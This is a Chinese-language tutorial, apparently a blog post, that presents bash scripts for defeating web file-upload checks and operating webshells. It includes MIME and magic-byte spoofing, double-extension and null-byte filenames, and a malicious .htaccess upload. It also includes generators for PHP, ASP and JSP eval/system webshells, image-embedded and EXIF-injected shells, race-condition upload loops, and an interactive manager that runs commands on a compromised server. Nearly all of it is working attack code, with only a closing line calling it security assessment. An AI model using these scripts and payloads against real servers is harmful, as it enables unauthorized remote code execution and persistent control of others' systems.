文件上传Webshell管理

概述

文件上传漏洞是 Web 应用中常见的安全问题。本文详细介绍文件上传绕过技术和 Webshell 管理的 bash 脚本实现。

核心理念

  • 类型检测:了解各种文件类型检测机制
  • 绕过技术:掌握常见上传限制的绕过方法
  • 隐蔽管理:Webshell 的隐蔽存储和管理
  • 安全清除:操作完成后的痕迹清理

1. 文件上传绕过

1.1 文件类型伪造

# 修改 Content-Type
upload_with_fake_type() {
    local file="$1" url="$2" field="${3:-file}"
    local mime_type
    mime_type=$(file -b --mime-type "$file")
    echo "[*] 原始MIME: $mime_type"
 
    # 强制修改为图片类型
    curl -s -o /dev/null -w "%{http_code}" \
        -X POST "$url" \
        -F "${field}=@${file};type=image/jpeg" \
        -F "submit=Upload"
}
 
# 修改文件头 (添加图片文件头)
add_image_header() {
    local input="$1" output="$2"
    # JPEG文件头: FF D8 FF E0
    printf '\xff\xd8\xff\xe0' > "$output"
    cat "$input" >> "$output"
    echo "[+] 已添加JPEG文件头: $output"
}
 
# PHP文件混淆 - 添加GIF89a头
add_gif_header() {
    local input="$1" output="$2"
    echo "GIF89a" > "$output"
    cat "$input" >> "$output"
    echo "[+] 已添加GIF文件头: $output"
}

1.2 双扩展名绕过

double_extension_bypass() {
    local file="$1" url="$2"
    local filename
    filename=$(basename "$file")
 
    # 常见双扩展名组合
    local extensions=("php.jpg" "php.png" "php%00.jpg" "php;.jpg" "php�.jpg" "phtml.jpg" "php5.jpg")
 
    for ext in "${extensions[@]}"; do
        local new_name="${filename%.*}.${ext}"
        echo "[*] 尝试: $new_name"
        cp "$file" "/tmp/$new_name"
        curl -s -o /dev/null -w "%{http_code}" \
            -X POST "$url" \
            -F "file=@/tmp/$new_name" \
            -F "submit=Upload"
        rm -f "/tmp/$new_name"
    done
}

1.3 .htaccess 绕过

htaccess_bypass() {
    local url="$1"
    echo "[*] 上传 .htaccess 文件..."
 
    # 创建 .htaccess 文件
    cat > /tmp/.htaccess << 'HTACCESS'
AddType application/x-httpd-php .jpg
HTACCESS
 
    curl -s -o /dev/null -w "%{http_code}" \
        -X POST "$url" \
        -F "file=@/tmp/.htaccess;filename=.htaccess" \
        -F "submit=Upload"
    rm -f /tmp/.htaccess
}

2. Webshell管理脚本

2.1 Webshell 生成

generate_webshell() {
    local shell_type="$1" output="$2"
    local password="${3:-pass}"
 
    case "$shell_type" in
        php一句话)
            cat > "$output" << SHELL
<?php @eval(\$_POST['${password}']);?>
SHELL
            ;;
        php大马)
            cat > "$output" << 'SHELL'
<?php
if(isset($_POST['pass'])){
    $pass=md5($_POST['pass']);
    if($pass==" hashes_here "){
        @set_time_limit(0);
        @ini_set('max_execution_time',0);
        @ini_set('output_buffering',0);
        echo "<pre>";
        system($_POST['cmd']);
        echo "</pre>";
    }
}
?>
SHELL
            ;;
        php文件管理)
            cat > "$output" << 'SHELL'
<?php
if(isset($_FILES['file'])){
    move_uploaded_file($_FILES['file']['tmp_name'],$_POST['path'].'/'.$_FILES['file']['name']);
    echo "uploaded: ".$_POST['path'].'/'.$_FILES['file']['name'];
}
?>
SHELL
            ;;
        asp一句话)
            cat > "$output" << 'SHELL'
<% response.CharSet="utf-8":eval request("pass") %>
SHELL
            ;;
        jsp一句话)
            cat > "$output" << 'SHELL'
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
SHELL
            ;;
    esac
    echo "[+] Webshell已生成: $output"
}

2.2 Webshell 管理工具

webshell_manager() {
    local shell_url="$1" password="$2"
 
    echo "==============================="
    echo "  Webshell 管理工具"
    echo "==============================="
    echo "URL: $shell_url"
    echo ""
 
    while true; do
        echo "1. 执行命令"
        echo "2. 上传文件"
        echo "3. 下载文件"
        echo "4. 查看PHP信息"
        echo "5. 列出目录"
        echo "0. 退出"
        echo -n "选择: "
        read choice
 
        case "$choice" in
            1)
                echo -n "输入命令: "
                read cmd
                curl -s -d "${password}=${cmd}" "$shell_url"
                ;;
            2)
                echo -n "本地文件路径: "
                read local_file
                echo -n "远程保存路径: "
                read remote_path
                curl -s -F "file=@${local_file}" -F "path=${remote_path}" "$shell_url"
                ;;
            3)
                echo -n "远程文件URL: "
                read remote_file
                curl -s "$remote_file" -o "$(basename "$remote_file")"
                echo "[+] 已下载"
                ;;
            4)
                curl -s -d "${password}=phpinfo()" "$shell_url" | head -50
                ;;
            5)
                curl -s -d "${password}=system('ls -la')" "$shell_url"
                ;;
            0) break ;;
        esac
        echo ""
    done
}

2.3 Webshell 连接测试

test_webshell() {
    local shell_url="$1" password="$2"
    echo "[*] 测试Webshell连接..."
 
    local response
    response=$(curl -s -d "${password}=echo 'OK'" "$shell_url" 2>/dev/null) || true
 
    if echo "$response" | grep -qF "OK"; then
        echo "[+] Webshell连接正常"
        return 0
    else
        echo "[-] Webshell连接失败"
        return 1
    fi
}

3. 文件类型检测

3.1 服务端检测绕过

check_file_type() {
    local file="$1"
    echo "[*] 文件类型检测: $file"
 
    # file命令检测
    echo "file: $(file -b "$file")"
 
    # MIME类型检测
    echo "MIME: $(file -b --mime-type "$file")"
 
    # 文件头检测
    echo "Hex Header: $(xxd -l 16 "$file")"
 
    # 文件大小
    echo "Size: $(wc -c < "$file") bytes"
}
 
# 检测文件是否包含PHP代码
detect_php_content() {
    local file="$1"
    if grep -lq '<?php' "$file" 2>/dev/null || grep -lq '<?=' "$file" 2>/dev/null; then
        echo "[+] 文件包含PHP代码"
        return 0
    fi
    return 1
}

3.2 上传验证绕过

# Content-Type 白名单
CONTENT_TYPES=(
    "image/jpeg"
    "image/png"
    "image/gif"
    "image/bmp"
    "application/pdf"
)
 
# 文件扩展名白名单
ALLOWED_EXTENSIONS=(
    "jpg" "jpeg" "png" "gif" "bmp" "pdf" "doc" "docx"
)
 
check_extension_bypass() {
    local url="$1"
    echo "[*] 检测扩展名限制..."
 
    local test_extensions=("php" "php3" "php5" "phtml" "asp" "aspx" "jsp" "jspx")
    for ext in "${test_extensions[@]}"; do
        echo -n "  测试 .$ext: "
        echo "<?php echo 'TEST'; ?>" > "/tmp/test.${ext}"
        local response
        response=$(curl -s -o /dev/null -w "%{http_code}" \
            -X POST "$url" \
            -F "file=@/tmp/test.${ext}" 2>/dev/null) || true
        echo "$response"
        rm -f "/tmp/test.${ext}"
    done
}

4. 隐蔽上传技术

4.1 图片马生成

create_image_shell() {
    local image="$1" shell="$2" output="$3"
    echo "[*] 生成图片马..."
 
    cp "$image" "$output"
 
    # 将PHP代码追加到图片文件末尾
    echo "<?php @eval(\$_POST['pass']); ?>" >> "$output"
 
    echo "[+] 图片马已生成: $output"
    echo "    大小: $(wc -c < "$output") bytes"
}
 
# 使用 exiftool 注入代码
inject_exif_comment() {
    local image="$1" output="$2"
    cp "$image" "$output"
    exiftool -Comment='<?php @eval($_POST["pass"]); ?>' "$output"
    echo "[+] EXIF注释注入完成: $output"
}

4.2 条件竞争上传

race_condition_upload() {
    local url="$1" file="$2" num="${3:-50}"
    echo "[*] 条件竞争上传 (尝试${num}次)..."
 
    for ((i=1; i<=num; i++)); do
        curl -s -o /dev/null \
            -X POST "$url" \
            -F "file=@${file}" &
    done
    wait
    echo "[+] 竞争上传完成"
}

5. 自动化上传工具

auto_upload() {
    local target_url="$1" file="$2"
    echo "[*] 自动化文件上传: $file -> $target_url"
 
    # 检测文件类型
    check_file_type "$file"
 
    # 尝试直接上传
    local response
    response=$(curl -s -o /dev/null -w "%{http_code}" \
        -X POST "$target_url" \
        -F "file=@${file}" 2>/dev/null) || true
 
    if [[ "$response" == "200" ]]; then
        echo "[+] 上传成功 (直接)"
        return 0
    fi
 
    # 尝试伪造MIME类型
    response=$(curl -s -o /dev/null -w "%{http_code}" \
        -X POST "$target_url" \
        -F "file=@${file};type=image/jpeg" 2>/dev/null) || true
 
    if [[ "$response" == "200" ]]; then
        echo "[+] 上传成功 (MIME伪造)"
        return 0
    fi
 
    echo "[-] 上传失败"
    return 1
}

总结

本文介绍了文件上传绕过和Webshell管理的bash实现:文件类型伪造、双扩展名绕过、Webshell生成与管理、图片马制作、条件竞争上传等技术。这些工具可用于Web应用安全评估。